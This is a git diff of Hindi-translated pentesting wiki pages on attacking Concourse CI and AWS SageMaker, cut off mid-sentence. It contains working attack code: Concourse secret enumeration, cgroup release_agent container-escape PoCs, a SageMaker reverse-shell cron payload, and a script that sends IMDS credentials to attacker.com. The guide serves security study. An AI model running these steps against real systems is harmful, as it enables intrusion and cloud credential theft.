मालिकों को दी जाती है। एडमिन **अन्य टीमों को कॉन्फ़िगर** कर सकते हैं (जैसे: `fly set-team`, `fly destroy-team`...)। इस भूमिका की अनुमतियाँ RBAC द्वारा प्रभावित नहीं की जा सकती हैं। +- _Concourse_ **Admin**: यह भूमिका केवल **मुख्य टीम** (डिफ़ॉल्ट प्रारंभिक concourse टीम) के मालिकों को दी जाती है। एडमिन **अन्य टीमों को कॉन्फ़िगर** कर सकते हैं (जैसे: `fly set-team`, `fly destroy-team`...)। इस भूमिका के अनुमतियों को RBAC द्वारा प्रभावित नहीं किया जा सकता। - **owner**: टीम के मालिक **टीम के भीतर सब कुछ संशोधित** कर सकते हैं। - **member**: टीम के सदस्य **टीम के संसाधनों के भीतर पढ़ सकते हैं और लिख सकते हैं** लेकिन टीम सेटिंग्स को संशोधित नहीं कर सकते। - **pipeline-operator**: पाइपलाइन ऑपरेटर **पाइपलाइन संचालन** कर सकते हैं जैसे कि बिल्ड को ट्रिगर करना और संसाधनों को पिन करना, हालाँकि वे पाइपलाइन कॉन्फ़िगरेशन को अपडेट नहीं कर सकते। -- **viewer**: टीम के दर्शकों को **टीम** और इसके पाइपलाइनों तक **"पढ़ने के लिए केवल"** पहुंच होती है। +- **viewer**: टीम के दर्शकों को टीम और इसके पाइपलाइनों तक **"पढ़ने के लिए केवल"** पहुंच होती है। > [!NOTE] -> इसके अलावा, **owner, member, pipeline-operator और viewer की भूमिकाओं की अनुमतियाँ** RBAC को कॉन्फ़िगर करके संशोधित की जा सकती हैं (विशेष रूप से इसके कार्यों को कॉन्फ़िगर करना)। इसके बारे में अधिक पढ़ें: [https://concourse-ci.org/user-roles.html](https://concourse-ci.org/user-roles.html) +> इसके अलावा, **owner, member, pipeline-operator और viewer की भूमिकाओं के अनुमतियों को RBAC कॉन्फ़िगर करके संशोधित किया जा सकता है** (विशेष रूप से इसके क्रियाओं को कॉन्फ़िगर करना)। इसके बारे में अधिक पढ़ें: [https://concourse-ci.org/user-roles.html](https://concourse-ci.org/user-roles.html) ध्यान दें कि Concourse **टीमों के भीतर पाइपलाइनों को समूहित करता है**। इसलिए, एक टीम से संबंधित उपयोगकर्ता उन पाइपलाइनों का प्रबंधन कर सकेंगे और **कई टीमें** हो सकती हैं। एक उपयोगकर्ता कई टीमों से संबंधित हो सकता है और प्रत्येक में विभिन्न अनुमतियाँ हो सकती हैं। @@ -23,12 +23,12 @@ Concourse में पांच भूमिकाएँ होती हैं YAML कॉन्फ़िग्स में आप मानों को `((_source-name_:_secret-path_._secret-field_))` सिंटैक्स का उपयोग करके कॉन्फ़िगर कर सकते हैं।\ [From the docs:](https://concourse-ci.org/vars.html#var-syntax) **source-name वैकल्पिक है**, और यदि छोड़ा गया है, तो [क्लस्टर-व्यापी क्रेडेंशियल प्रबंधक](https://concourse-ci.org/vars.html#cluster-wide-credential-manager) का उपयोग किया जाएगा, या मान [स्थैतिक रूप से](https://concourse-ci.org/vars.html#static-vars) प्रदान किया जा सकता है।\ -**वैकल्पिक \_secret-field**\_ उस फ़ील्ड को निर्दिष्ट करता है जिसे प्राप्त किए गए रहस्य से पढ़ा जाना है। यदि छोड़ा गया है, तो क्रेडेंशियल प्रबंधक प्राप्त किए गए क्रेडेंशियल से 'डिफ़ॉल्ट फ़ील्ड' पढ़ने का विकल्प चुन सकता है यदि फ़ील्ड मौजूद है।\ +**वैकल्पिक \_secret-field**\_ उस प्राप्त किए गए रहस्य पर पढ़ने के लिए एक फ़ील्ड निर्दिष्ट करता है। यदि छोड़ा गया है, तो क्रेडेंशियल प्रबंधक प्राप्त किए गए क्रेडेंशियल से 'डिफ़ॉल्ट फ़ील्ड' पढ़ने का विकल्प चुन सकता है यदि फ़ील्ड मौजूद है।\ इसके अलावा, _**secret-path**_ और _**secret-field**_ को डबल कोट्स `"..."` में रखा जा सकता है यदि वे **विशेष वर्ण** जैसे `.` और `:` शामिल करते हैं। उदाहरण के लिए, `((source:"my.secret"."field:1"))` _secret-path_ को `my.secret` और _secret-field_ को `field:1` पर सेट करेगा। #### Static Vars -स्थैतिक vars को **कार्य चरणों** में निर्दिष्ट किया जा सकता है: +Static vars को **tasks steps** में निर्दिष्ट किया जा सकता है: ```yaml - task: unit-1.13 file: booklit/ci/unit.yml @@ -36,10 +36,10 @@ vars: { tag: 1.13 } ``` Or using the following `fly` **arguments**: -- `-v` या `--var` `NAME=VALUE` स्ट्रिंग `VALUE` को var `NAME` के लिए मान के रूप में सेट करता है। -- `-y` या `--yaml-var` `NAME=VALUE` `VALUE` को YAML के रूप में पार्स करता है और इसे var `NAME` के लिए मान के रूप में सेट करता है। -- `-i` या `--instance-var` `NAME=VALUE` `VALUE` को YAML के रूप में पार्स करता है और इसे instance var `NAME` के लिए मान के रूप में सेट करता है। instance vars के बारे में अधिक जानने के लिए [Grouping Pipelines](https://concourse-ci.org/instanced-pipelines.html) देखें। -- `-l` या `--load-vars-from` `FILE` `FILE` को लोड करता है, जो मानों के लिए var नामों को मैप करने वाला एक YAML दस्तावेज है, और उन्हें सभी सेट करता है। +- `-v` or `--var` `NAME=VALUE` स्ट्रिंग `VALUE` को var `NAME` के लिए मान के रूप में सेट करता है। +- `-y` or `--yaml-var` `NAME=VALUE` `VALUE` को YAML के रूप में पार्स करता है और इसे var `NAME` के लिए मान के रूप में सेट करता है। +- `-i` or `--instance-var` `NAME=VALUE` `VALUE` को YAML के रूप में पार्स करता है और इसे instance var `NAME` के लिए मान के रूप में सेट करता है। instance vars के बारे में अधिक जानने के लिए [Grouping Pipelines](https://concourse-ci.org/instanced-pipelines.html) देखें। +- `-l` or `--load-vars-from` `FILE` `FILE` को लोड करता है, जो मानों के लिए var नामों को मैप करने वाला एक YAML दस्तावेज है, और उन्हें सभी सेट करता है। #### Credential Management @@ -69,7 +69,7 @@ Or using the following `fly` **arguments**: - `fly --target example login --team-name my-team --concourse-url https://ci.example.com [--insecure] [--client-cert=./path --client-key=./path]` - कॉन्फ़िगर की गई **targets** प्राप्त करें: - `fly targets` -- यह प्राप्त करें कि कॉन्फ़िगर की गई **target connection** अभी भी **valid** है: +- जांचें कि कॉन्फ़िगर की गई **target connection** अभी भी **मान्य** है: - `fly -t status` - निर्दिष्ट लक्ष्य के खिलाफ उपयोगकर्ता की **भूमिका** प्राप्त करें: - `fly -t userinfo` @@ -81,7 +81,7 @@ Or using the following `fly` **arguments**: - टीमों की सूची प्राप्त करें - `fly -t teams` -- टीम के भीतर भूमिकाएँ प्राप्त करें +- टीम के अंदर भूमिकाएँ प्राप्त करें - `fly -t get-team -n ` - उपयोगकर्ताओं की सूची प्राप्त करें - `fly -t active-users` @@ -94,7 +94,7 @@ Or using the following `fly` **arguments**: - `fly -t get-pipeline -p ` - सभी पाइपलाइन **config घोषित vars** प्राप्त करें - `for pipename in $(fly -t pipelines | grep -Ev "^id" | awk '{print $2}'); do echo $pipename; fly -t get-pipeline -p $pipename -j | grep -Eo '"vars":[^}]+'; done` -- सभी **pipelines secret names used** प्राप्त करें (यदि आप एक नौकरी बना/संशोधित कर सकते हैं या एक कंटेनर को हाईजैक कर सकते हैं तो आप उन्हें निकाल सकते हैं): +- सभी **पाइपलाइनों के रहस्य नाम** प्राप्त करें (यदि आप एक नौकरी बना/संशोधित कर सकते हैं या एक कंटेनर को हाईजैक कर सकते हैं तो आप उन्हें निकाल सकते हैं): ```bash rm /tmp/secrets.txt; for pipename in $(fly -t onelogin pipelines | grep -Ev "^id" | awk '{print $2}'); do @@ -125,24 +125,24 @@ rm /tmp/secrets.txt #### Secrets and params enumeration -पिछले अनुभाग में हमने देखा कि आप **पाइपलाइन द्वारा उपयोग किए जाने वाले सभी रहस्यों के नाम और वेरिएबल्स प्राप्त कर सकते हैं**। **वेरिएबल्स में संवेदनशील जानकारी हो सकती है** और **रहस्यों के नाम बाद में उन्हें चुराने की कोशिश करने के लिए उपयोगी होंगे**। +पिछले अनुभाग में हमने देखा कि आप **पाइपलाइन द्वारा उपयोग किए जाने वाले सभी रहस्यों के नाम और वेरिएबल्स** कैसे प्राप्त कर सकते हैं। **वेरिएबल्स में संवेदनशील जानकारी** हो सकती है और **रहस्यों के नाम बाद में उन्हें चुराने की कोशिश करने के लिए उपयोगी होंगे**। #### Session inside running or recently run container -यदि आपके पास पर्याप्त विशेषाधिकार हैं (**सदस्य भूमिका या अधिक**) तो आप **पाइपलाइनों और भूमिकाओं की सूची** बना सकेंगे और बस `/` **कंटेनर के अंदर एक सत्र प्राप्त कर सकेंगे**: +यदि आपके पास पर्याप्त विशेषाधिकार (**सदस्य भूमिका या अधिक**) हैं, तो आप **पाइपलाइनों और भूमिकाओं की सूची** बना सकेंगे और बस `/` **कंटेनर** के अंदर **सेशन** प्राप्त कर सकेंगे: ```bash fly -t tutorial intercept --job pipeline-name/job-name fly -t tutorial intercept # To be presented a prompt with all the options ``` इन अनुमतियों के साथ आप सक्षम हो सकते हैं: -- **गुप्त जानकारी** चुराना **कंटेनर** के अंदर -- **नोड** पर **भागने** की कोशिश करना -- **क्लाउड मेटाडेटा** एंडपॉइंट की गणना/दुरुपयोग करना (पॉड से और यदि संभव हो तो नोड से) +- **गुप्त जानकारी चुराना** **कंटेनर** के अंदर +- **नोड** पर **भागना** करने की कोशिश करें +- **क्लाउड मेटाडेटा** एंडपॉइंट को सूचीबद्ध/दुरुपयोग करें (पॉड से और नोड से, यदि संभव हो) #### पाइपलाइन निर्माण/संशोधन -यदि आपके पास पर्याप्त विशेषाधिकार हैं (**सदस्य भूमिका या अधिक**) तो आप **नई पाइपलाइनों को बनाने/संशोधित करने** में सक्षम होंगे। इस उदाहरण को देखें: +यदि आपके पास पर्याप्त विशेषाधिकार हैं (**सदस्य भूमिका या अधिक**) तो आप **नई पाइपलाइनों को बना/संशोधित** करने में सक्षम होंगे। इस उदाहरण को देखें: ```yaml jobs: - name: simple @@ -166,16 +166,16 @@ sleep 1000 params: SUPER_SECRET: ((super.secret)) ``` -नए **पाइपलाइन** के **संशोधन/निर्माण** के साथ, आप सक्षम होंगे: +With the **modification/creation** of a new pipeline you will be able to: -- **चुराना** **गुप्त जानकारी** (उन्हें बाहर इको करके या कंटेनर के अंदर जाकर `env` चलाकर) -- **भागना** **नोड** पर (आपको पर्याप्त विशेषाधिकार देकर - `privileged: true`) -- **क्लाउड मेटाडेटा** एंडपॉइंट को सूचीबद्ध/दुरुपयोग करना (पॉड और नोड से) -- बनाए गए पाइपलाइन को **हटाना** +- **Steal** the **secrets** (via echoing them out or getting inside the container and running `env`) +- **Escape** to the **node** (by giving you enough privileges - `privileged: true`) +- Enumerate/Abuse **cloud metadata** endpoint (from the pod and from the node) +- **Delete** created pipeline -#### कस्टम कार्य निष्पादित करें +#### Execute Custom Task -यह पिछले तरीके के समान है, लेकिन पूरे नए पाइपलाइन को संशोधित/निर्माण करने के बजाय, आप **बस एक कस्टम कार्य निष्पादित कर सकते हैं** (जो शायद बहुत अधिक **गुप्त** होगा): +यह पिछले तरीके के समान है लेकिन पूरी नई पाइपलाइन को संशोधित/बनाने के बजाय आप **बस एक कस्टम कार्य** चला सकते हैं (जो शायद बहुत अधिक **गुप्त** होगा): ```yaml # For more task_config options check https://concourse-ci.org/tasks.html platform: linux @@ -199,9 +199,9 @@ fly -t tutorial execute --privileged --config task_config.yml ``` #### Escaping to the node from privileged task -पिछले अनुभागों में हमने देखा कि **concourse के साथ एक विशेषाधिकार प्राप्त कार्य कैसे निष्पादित करें**। यह कंटेनर को डॉकर कंटेनर में विशेषाधिकार ध्वज के समान सटीक पहुंच नहीं देगा। उदाहरण के लिए, आप /dev में नोड फ़ाइल सिस्टम डिवाइस नहीं देखेंगे, इसलिए बच निकलना अधिक "जटिल" हो सकता है। +In the previous sections we saw how to **execute a privileged task with concourse**. This won't give the container exactly the same access as the privileged flag in a docker container. For example, you won't see the node filesystem device in /dev, so the escape could be more "complex". -निम्नलिखित PoC में हम कुछ छोटे संशोधनों के साथ escape करने के लिए release_agent का उपयोग करने जा रहे हैं: +In the following PoC we are going to use the release_agent to escape with some small modifications: ```bash # Mounts the RDMA cgroup controller and create a child cgroup # If you're following along and get "mount: /tmp/cgrp: special device cgroup does not exist" @@ -264,7 +264,7 @@ cat /output #### एक वर्कर कंटेनर से नोड में भागना -इसके लिए एक सामान्य release_agent escape में एक छोटा संशोधन पर्याप्त है: +इसके लिए एक सामान्य release_agent escape में एक छोटे संशोधन की आवश्यकता है: ```bash mkdir /tmp/cgrp && mount -t cgroup -o memory cgroup /tmp/cgrp && mkdir /tmp/cgrp/x @@ -295,7 +295,7 @@ cat /output भले ही वेब कंटेनर में कुछ सुरक्षा उपाय निष्क्रिय हैं, यह **एक सामान्य विशेषाधिकार प्राप्त कंटेनर के रूप में नहीं चल रहा है** (उदाहरण के लिए, आप **माउंट** नहीं कर सकते और **क्षमताएँ** बहुत **सीमित** हैं, इसलिए कंटेनर से भागने के सभी आसान तरीके बेकार हैं)। -हालांकि, यह **स्थानीय क्रेडेंशियल्स को स्पष्ट पाठ में स्टोर करता है**: +हालांकि, यह **स्थानीय क्रेडेंशियल्स को स्पष्ट पाठ में** संग्रहीत करता है: ```bash cat /concourse-auth/local-users test:test @@ -330,9 +330,9 @@ select * from users; #### गार्डन सेवा का दुरुपयोग - एक असली हमला नहीं > [!WARNING] -> ये सिर्फ सेवा के बारे में कुछ दिलचस्प नोट्स हैं, लेकिन क्योंकि यह केवल लोकलहोस्ट पर सुन रहा है, ये नोट्स कोई ऐसा प्रभाव नहीं डालेंगे जिसे हमने पहले ही शोषण किया है +> ये सिर्फ सेवा के बारे में कुछ दिलचस्प नोट्स हैं, लेकिन क्योंकि यह केवल लोकलहोस्ट पर सुन रहा है, ये नोट्स कोई ऐसा प्रभाव नहीं डालेंगे जिसे हमने पहले ही शोषित नहीं किया है। -डिफ़ॉल्ट रूप से, प्रत्येक concourse कार्यकर्ता पोर्ट 7777 में एक [**Garden**](https://github.com/cloudfoundry/garden) सेवा चला रहा होगा। इस सेवा का उपयोग वेब मास्टर द्वारा कार्यकर्ता को **यह बताने के लिए किया जाता है कि उसे क्या निष्पादित करना है** (छवि डाउनलोड करें और प्रत्येक कार्य चलाएं)। यह एक हमलावर के लिए काफी अच्छा लगता है, लेकिन कुछ अच्छी सुरक्षा हैं: +डिफ़ॉल्ट रूप से, प्रत्येक concourse कार्यकर्ता पोर्ट 7777 में एक [**गार्डन**](https://github.com/cloudfoundry/garden) सेवा चला रहा होगा। इस सेवा का उपयोग वेब मास्टर द्वारा कार्यकर्ता को **यह बताने के लिए किया जाता है कि उसे क्या निष्पादित करना है** (इमेज डाउनलोड करना और प्रत्येक कार्य चलाना)। यह एक हमलावर के लिए काफी अच्छा लगता है, लेकिन कुछ अच्छे सुरक्षा उपाय हैं: - यह केवल **स्थानीय रूप से** (127..0.0.1) **प्रदर्शित** है और मुझे लगता है कि जब कार्यकर्ता विशेष SSH सेवा के साथ वेब के खिलाफ प्रमाणीकरण करता है, तो एक सुरंग बनाई जाती है ताकि वेब सर्वर **प्रत्येक कार्यकर्ता के अंदर प्रत्येक गार्डन सेवा से बात कर सके**। - वेब सर्वर **हर कुछ सेकंड में चल रहे कंटेनरों की निगरानी कर रहा है**, और **अप्रत्याशित** कंटेनरों को **हटाया** जाता है। इसलिए यदि आप **एक कस्टम कंटेनर चलाना चाहते हैं** तो आपको वेब सर्वर और गार्डन सेवा के बीच **संवाद** के साथ **छेड़छाड़** करनी होगी। @@ -348,10 +348,10 @@ Capabilities: BOUNDING -> chown dac_override dac_read_search fowner fsetid kill setgid setuid setpcap linux_immutable net_bind_service net_broadcast net_admin net_raw ipc_lock ipc_owner sys_module sys_rawio sys_chroot sys_ptrace sys_pacct sys_admin sys_boot sys_nice sys_resource sys_time sys_tty_config mknod lease audit_write audit_control setfcap mac_override mac_admin syslog wake_alarm block_suspend audit_read Seccomp: disabled ``` -हालांकि, /dev डिवाइस को **माउंट** करने जैसी तकनीकें या release_agent **काम नहीं करेंगी** (क्योंकि नोड का असली डिवाइस, जिसमें फाइल सिस्टम है, उपलब्ध नहीं है, केवल एक वर्चुअल है)। हम नोड की प्रक्रियाओं तक पहुँच नहीं सकते, इसलिए कर्नेल एक्सप्लॉइट्स के बिना नोड से भागना जटिल हो जाता है। +हालांकि, **माउंटिंग** तकनीक जैसे /dev डिवाइस या release_agent **काम नहीं करेगा** (क्योंकि नोड का असली डिवाइस, जिसमें फाइल सिस्टम है, उपलब्ध नहीं है, केवल एक वर्चुअल है)। हम नोड की प्रक्रियाओं तक पहुँच नहीं सकते, इसलिए कर्नेल एक्सप्लॉइट्स के बिना नोड से भागना जटिल हो जाता है। > [!NOTE] -> पिछले अनुभाग में हमने देखा कि एक विशेषाधिकार प्राप्त कंटेनर से कैसे भागना है, इसलिए यदि हम **वर्तमान** **कार्यकर्ता** द्वारा बनाए गए **विशेषाधिकार प्राप्त कंटेनर** में कमांड **निष्पादित** कर सकते हैं, तो हम **नोड पर भाग सकते हैं**। +> पिछले अनुभाग में हमने देखा कि एक विशेषाधिकार प्राप्त कंटेनर से कैसे भागना है, इसलिए यदि हम **विशेषाधिकार प्राप्त कंटेनर** में **कमांड** **निष्पादित** कर सकते हैं जो **वर्तमान** **कार्यकर्ता** द्वारा बनाया गया है, तो हम **नोड पर भाग सकते हैं**। ध्यान दें कि concourse के साथ खेलते समय मैंने देखा कि जब कुछ चलाने के लिए एक नया कंटेनर उत्पन्न होता है, तो कंटेनर प्रक्रियाएँ कार्यकर्ता कंटेनर से सुलभ होती हैं, इसलिए यह एक कंटेनर के अंदर एक नया कंटेनर बनाने जैसा है। @@ -374,7 +374,7 @@ wget -v -O- --post-data='{"id":"task2","path":"sh","args":["-cx","sleep 20000"], # OR instead of doing all of that, you could just get into the ns of the process of the privileged container nsenter --target 76011 --mount --uts --ipc --net --pid -- sh ``` -**नया विशेषाधिकार प्राप्त कंटेनर बनाना** +**एक नया विशेषाधिकार प्राप्त कंटेनर बनाना** आप बहुत आसानी से एक नया कंटेनर बना सकते हैं (बस एक यादृच्छिक UID चलाएँ) और उस पर कुछ निष्पादित कर सकते हैं: ```bash @@ -411,6 +411,6 @@ Accept-Encoding: gzip. ``` ## संदर्भ -- https://concourse-ci.org/vars.html +- [https://concourse-ci.org/vars.html](https://concourse-ci.org/vars.html) {{#include ../../banners/hacktricks-training.md}} diff --git a/src/pentesting-ci-cd/github-security/abusing-github-actions/gh-actions-artifact-poisoning.md b/src/pentesting-ci-cd/github-security/abusing-github-actions/gh-actions-artifact-poisoning.md index 59da712ac..3c0a08d59 100644 --- a/src/pentesting-ci-cd/github-security/abusing-github-actions/gh-actions-artifact-poisoning.md +++ b/src/pentesting-ci-cd/github-security/abusing-github-actions/gh-actions-artifact-poisoning.md @@ -1 +1,3 @@ # Gh Actions - Artifact Poisoning + +{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-ci-cd/github-security/abusing-github-actions/gh-actions-cache-poisoning.md b/src/pentesting-ci-cd/github-security/abusing-github-actions/gh-actions-cache-poisoning.md index c9546507f..3b9938b3b 100644 --- a/src/pentesting-ci-cd/github-security/abusing-github-actions/gh-actions-cache-poisoning.md +++ b/src/pentesting-ci-cd/github-security/abusing-github-actions/gh-actions-cache-poisoning.md @@ -1 +1,3 @@ -# GH Actions - कैश पॉइज़निंग +# GH Actions - Cache Poisoning + +{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-ci-cd/github-security/abusing-github-actions/gh-actions-context-script-injections.md b/src/pentesting-ci-cd/github-security/abusing-github-actions/gh-actions-context-script-injections.md index 9cef507bc..591109f16 100644 --- a/src/pentesting-ci-cd/github-security/abusing-github-actions/gh-actions-context-script-injections.md +++ b/src/pentesting-ci-cd/github-security/abusing-github-actions/gh-actions-context-script-injections.md @@ -1 +1,3 @@ # Gh Actions - Context Script Injections + +{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-persistence/README.md b/src/pentesting-cloud/aws-security/aws-persistence/README.md index c707c72c2..612734d20 100644 --- a/src/pentesting-cloud/aws-security/aws-persistence/README.md +++ b/src/pentesting-cloud/aws-security/aws-persistence/README.md @@ -1 +1,3 @@ -# AWS - स्थिरता +# AWS - Persistence + +{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-sagemaker-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-sagemaker-persistence.md index c544190a6..58876d004 100644 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-sagemaker-persistence.md +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-sagemaker-persistence.md @@ -1,8 +1,10 @@ -# AWS - SageMaker Lifecycle Configuration Persistence +# Aws Sagemaker Persistence + +{{#include ../../../banners/hacktricks-training.md}} ## Overview of Persistence Techniques -यह अनुभाग SageMaker में स्थायीता प्राप्त करने के तरीकों को रेखांकित करता है, जिसमें Lifecycle Configurations (LCCs) का दुरुपयोग करना शामिल है, जैसे कि रिवर्स शेल, क्रॉन जॉब, IMDS के माध्यम से क्रेडेंशियल चोरी, और SSH बैकडोर। ये स्क्रिप्ट इंस्टेंस के IAM भूमिका के साथ चलती हैं और पुनरारंभ के दौरान स्थायी रह सकती हैं। अधिकांश तकनीकों के लिए आउटबाउंड नेटवर्क एक्सेस की आवश्यकता होती है, लेकिन AWS नियंत्रण Plane पर सेवाओं का उपयोग करने से भी सफलता मिल सकती है यदि वातावरण 'VPC-only' मोड में है। +यह अनुभाग SageMaker में स्थिरता प्राप्त करने के तरीकों को रेखांकित करता है, जिसमें Lifecycle Configurations (LCCs) का दुरुपयोग करना शामिल है, जैसे कि रिवर्स शेल, क्रॉन जॉब, IMDS के माध्यम से क्रेडेंशियल चोरी, और SSH बैकडोर। ये स्क्रिप्ट इंस्टेंस के IAM भूमिका के साथ चलती हैं और पुनरारंभ के दौरान स्थायी रह सकती हैं। अधिकांश तकनीकों के लिए आउटबाउंड नेटवर्क एक्सेस की आवश्यकता होती है, लेकिन AWS नियंत्रण Plane पर सेवाओं का उपयोग करने से भी सफलता मिल सकती है यदि वातावरण 'VPC-only' मोड में है। #### Note: SageMaker नोटबुक इंस्टेंस मूल रूप से मशीन लर्निंग कार्यभार के लिए विशेष रूप से कॉन्फ़िगर की गई प्रबंधित EC2 इंस्टेंस हैं। ## Required Permissions @@ -38,11 +40,11 @@ aws sagemaker update-notebook-instance \ --notebook-instance-name victim-instance \ --lifecycle-config-name attacker-lcc ``` -## Set Lifecycle Configuration on SageMaker Studio +## SageMaker स्टूडियो पर जीवनचक्र कॉन्फ़िगरेशन सेट करें -Lifecycle Configurations को विभिन्न स्तरों पर और SageMaker Studio के विभिन्न ऐप प्रकारों पर जोड़ा जा सकता है। +जीवनचक्र कॉन्फ़िगरेशन को विभिन्न स्तरों पर और SageMaker स्टूडियो के भीतर विभिन्न ऐप प्रकारों के लिए जोड़ा जा सकता है। -### Studio Domain Level (All Users) +### स्टूडियो डोमेन स्तर (सभी उपयोगकर्ता) ```bash # Create Studio Lifecycle Configuration* @@ -70,12 +72,12 @@ aws sagemaker update-space --domain-id --space-name --s } }' ``` -## Studio एप्लिकेशन लाइफसाइकिल कॉन्फ़िगरेशन के प्रकार +## Studio Application Lifecycle Configurations के प्रकार -लाइफसाइकिल कॉन्फ़िगरेशन को विभिन्न SageMaker Studio एप्लिकेशन प्रकारों पर विशेष रूप से लागू किया जा सकता है: +Lifecycle configurations को विशेष रूप से विभिन्न SageMaker Studio एप्लिकेशन प्रकारों पर लागू किया जा सकता है: * JupyterServer: Jupyter सर्वर स्टार्टअप के दौरान स्क्रिप्ट चलाता है, जो रिवर्स शेल और क्रॉन जॉब्स जैसे पर्सिस्टेंस मैकेनिज्म के लिए आदर्श है। * KernelGateway: कर्नेल गेटवे ऐप लॉन्च के दौरान निष्पादित होता है, प्रारंभिक सेटअप या स्थायी पहुंच के लिए उपयोगी है। -* CodeEditor: कोड संपादक (Code-OSS) पर लागू होता है, जो कोड संपादन सत्रों की शुरुआत पर निष्पादित होने वाले स्क्रिप्ट को सक्षम करता है। +* CodeEditor: कोड संपादक (Code-OSS) पर लागू होता है, जो कोड संपादन सत्रों की शुरुआत पर निष्पादित होने वाली स्क्रिप्टों को सक्षम करता है। ### प्रत्येक प्रकार के लिए उदाहरण कमांड: @@ -103,11 +105,11 @@ aws sagemaker create-studio-lifecycle-config \ ### Critical Info: * डोमेन या स्पेस स्तर पर LCCs को संलग्न करना सभी उपयोगकर्ताओं या अनुप्रयोगों को प्रभावित करता है जो दायरे में हैं। * उच्च अनुमतियों की आवश्यकता होती है (sagemaker:UpdateDomain, sagemaker:UpdateSpace) जो आमतौर पर स्पेस स्तर पर डोमेन स्तर की तुलना में अधिक व्यावहारिक होती हैं। -* नेटवर्क-स्तरीय नियंत्रण (जैसे, सख्त निकासी फ़िल्टरिंग) सफल रिवर्स शेल या डेटा निकासी को रोक सकते हैं। +* नेटवर्क-स्तरीय नियंत्रण (जैसे, सख्त ईग्रेस फ़िल्टरिंग) सफल रिवर्स शेल या डेटा एक्सफिल्ट्रेशन को रोक सकते हैं। ## Reverse Shell via Lifecycle Configuration -SageMaker Lifecycle Configurations (LCCs) कस्टम स्क्रिप्ट को निष्पादित करते हैं जब नोटबुक उदाहरण शुरू होते हैं। अनुमतियों के साथ एक हमलावर एक स्थायी रिवर्स शेल स्थापित कर सकता है। +SageMaker Lifecycle Configurations (LCCs) कस्टम स्क्रिप्ट्स को निष्पादित करते हैं जब नोटबुक उदाहरण शुरू होते हैं। अनुमतियों के साथ एक हमलावर एक स्थायी रिवर्स शेल स्थापित कर सकता है। ### Payload Example: ``` @@ -133,11 +135,11 @@ chmod +x $PAYLOAD_PATH (crontab -u ec2-user -l 2>/dev/null | grep -Fq "$CRON_CMD") || (crontab -u ec2-user -l 2>/dev/null; echo "$CRON_JOB") | crontab -u ec2-user - ``` -## IMDS (v1 & v2) के माध्यम से क्रेडेंशियल एक्सफिल्ट्रेशन +## Credential Exfiltration via IMDS (v1 & v2) -लाइफसाइकिल कॉन्फ़िगरेशन IAM क्रेडेंशियल प्राप्त करने और उन्हें हमलावर-नियंत्रित स्थान पर एक्सफिल्ट्रेट करने के लिए इंस्टेंस मेटाडेटा सर्विस (IMDS) को क्वेरी कर सकते हैं। +Lifecycle configurations can query the Instance Metadata Service (IMDS) to retrieve IAM credentials and exfiltrate them to an attacker-controlled location. -### पेलोड उदाहरण: +### Payload Example: ```bash #!/bin/bash ATTACKER_BUCKET="s3://attacker-controlled-bucket" @@ -153,4 +155,4 @@ aws s3 cp /tmp/creds.json $ATTACKER_BUCKET/$(hostname)-creds.json curl -X POST -F "file=@/tmp/creds.json" http://attacker.com/upload ``` - +{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/README.md index 24a54a81d..4bd86808f 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/README.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/README.md @@ -1 +1,3 @@ # AWS - पोस्ट एक्सप्लॉइटेशन + +{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-macie-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-macie-privesc.md index 015dad4f2..66822f7ad 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-macie-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-macie-privesc.md @@ -12,17 +12,17 @@ Macie के बारे में अधिक जानकारी के ### Amazon Macie - `Reveal Sample` इंटीग्रिटी चेक को बायपास करें -AWS Macie एक सुरक्षा सेवा है जो AWS वातावरण में संवेदनशील डेटा, जैसे कि क्रेडेंशियल्स, व्यक्तिगत पहचान योग्य जानकारी (PII), और अन्य गोपनीय डेटा का स्वचालित रूप से पता लगाती है। जब Macie एक संवेदनशील क्रेडेंशियल की पहचान करता है, जैसे कि S3 बकेट में संग्रहीत AWS सीक्रेट की, तो यह एक खोज उत्पन्न करता है जो मालिक को पता लगाए गए डेटा का "नमूना" देखने की अनुमति देता है। आमतौर पर, जब संवेदनशील फ़ाइल S3 बकेट से हटा दी जाती है, तो यह अपेक्षित होता है कि सीक्रेट को फिर से प्राप्त नहीं किया जा सकता। +AWS Macie एक सुरक्षा सेवा है जो AWS वातावरण में संवेदनशील डेटा को स्वचालित रूप से पहचानती है, जैसे कि क्रेडेंशियल, व्यक्तिगत पहचान योग्य जानकारी (PII), और अन्य गोपनीय डेटा। जब Macie एक संवेदनशील क्रेडेंशियल की पहचान करता है, जैसे कि S3 बकेट में संग्रहीत AWS सीक्रेट की, तो यह एक खोज उत्पन्न करता है जो मालिक को पहचानित डेटा का "नमूना" देखने की अनुमति देता है। आमतौर पर, एक बार जब संवेदनशील फ़ाइल S3 बकेट से हटा दी जाती है, तो यह अपेक्षित होता है कि सीक्रेट को फिर से प्राप्त नहीं किया जा सकता। -हालांकि, एक **बायपास** की पहचान की गई है जहां एक हमलावर जिसके पास पर्याप्त अनुमतियाँ हैं, **एक ही नाम के साथ एक फ़ाइल को फिर से अपलोड कर सकता है** लेकिन जिसमें विभिन्न, गैर-संवेदनशील डमी डेटा होता है। इससे Macie को नई अपलोड की गई फ़ाइल को मूल खोज के साथ जोड़ने का कारण बनता है, जिससे हमलावर **"Reveal Sample" फीचर** का उपयोग करके पहले से पता किए गए सीक्रेट को निकाल सकता है। यह समस्या एक महत्वपूर्ण सुरक्षा जोखिम प्रस्तुत करती है, क्योंकि जो सीक्रेट हटाए गए थे, वे इस विधि के माध्यम से पुनः प्राप्त किए जा सकते हैं। +हालांकि, 